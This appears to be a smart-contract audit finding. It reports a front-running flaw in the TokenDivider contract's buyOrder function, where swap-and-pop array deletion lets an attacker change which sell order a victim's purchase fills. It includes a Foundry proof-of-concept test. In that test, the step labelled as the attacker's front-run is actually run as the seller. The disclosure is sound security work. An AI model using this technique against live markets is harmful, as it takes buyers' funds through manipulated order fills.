The `TokenDivider` contract's `buyOrder` function is vulnerable to front-running attacks due to unsafe array manipulation. When orders are fulfilled, the contract rearranges the order array by moving the last element to the deleted index, allowing attackers to manipulate which order a victim receives.
## Lines of Code
https://github.com/Cyfrin/2025-01-pieces-protocol/blob/4ef5e96fced27334f2a62e388a8a377f97a7f8cb/src/TokenDivider.sol#L285
```solidity
// Vulnerable array manipulation in buyOrder function
function buyOrder(uint256 index, address seller) payable external {
// ... other code ...
// When an order is fulfilled, the last order in the array
// is moved to the deleted index
s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
s_userToSellOrders[seller].pop();
}
```
## Vulnerability Details
The vulnerability occurs in the following sequence:
1. Seller creates multiple sell orders with different amounts but same price:
- Order 1 (index 0): 100 tokens at 10 ETH
- Order 2 (index 1): 50 tokens at 10 ETH
2. Victim attempts to buy Order 1 (index 0) to get more tokens
3. Attacker front-runs the victim's transaction:
- Buys Order 1 (index 0)
- This causes Order 2 to move from index 1 to index 0
4. Victim's transaction executes:
- Attempts to buy index 0
- Gets Order 2 instead (50 tokens) due to array reordering
- Pays same price but receives fewer tokens
## Proof of Concept
- create a file in the test folder in the project repo, paste this code and run the test.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TokenDivider} from "../src/TokenDivider.sol";
import {ERC721Mock} from './mocks/ERC721Mock.sol';
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TokenDividerFrontrunTest is Test {
TokenDivider public tokenDivider;
ERC721Mock public mockNft;
IERC20 public erc20Token;
address public seller = makeAddr("seller");
address public attacker = makeAddr("attacker");
address public victim = makeAddr("victim");
uint256 public constant INITIAL_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant AMOUNT_TO_MINT = 1000;
uint256 public constant PRICE = 10 ether;
uint256 public constant TOKEN_AMOUNT_LOW = 50;
uint256 public constant TOKEN_AMOUNT_HIGH = 100;
receive() external payable {}
function setUp() public {
tokenDivider = new TokenDivider();
mockNft = new ERC721Mock();
// Setup accounts with ETH
vm.deal(seller, INITIAL_BALANCE);
vm.deal(attacker, INITIAL_BALANCE);
vm.deal(victim, INITIAL_BALANCE);
// Setup initial NFT
mockNft.mint(seller);
}
function testFrontRunningAttack() public {
// 1. Seller creates NFT fractions and two sell orders
vm.startPrank(seller);
mockNft.approve(address(tokenDivider), TOKEN_ID);
tokenDivider.divideNft(address(mockNft), TOKEN_ID, AMOUNT_TO_MINT);
TokenDivider.ERC20Info memory info = tokenDivider.getErc20InfoFromNft(address(mockNft));
erc20Token = IERC20(info.erc20Address);
erc20Token.approve(address(tokenDivider), AMOUNT_TO_MINT);
tokenDivider.sellErc20(address(mockNft), PRICE, TOKEN_AMOUNT_HIGH); // index 0
tokenDivider.sellErc20(address(mockNft), PRICE, TOKEN_AMOUNT_LOW); // index 1
vm.stopPrank();
// 2. Attacker front-runs by buying index 0
vm.startPrank(seller);
uint256 fee = PRICE / 50;
tokenDivider.buyOrder{value: PRICE + fee}(0, seller);
vm.stopPrank();
// 3. Victim's transaction executes with wrong order
vm.startPrank(victim);
tokenDivider.buyOrder{value: PRICE + fee}(0, seller);
vm.stopPrank();
// Verify victim received fewer tokens
uint256 victimBalance = erc20Token.balanceOf(victim);
assertEq(victimBalance, TOKEN_AMOUNT_LOW); // Got 50 tokens instead of 100
}
}
```
## Impact
1. **Economic Loss**: Victims receive fewer tokens than intended while paying the same price
2. **Market Manipulation**: Attackers can force buyers into unfavorable orders
3. **Trust Issues**: Unpredictable order fulfillment damages platform reliability
## Tools Used
Manual Review + Foundry Testing Framework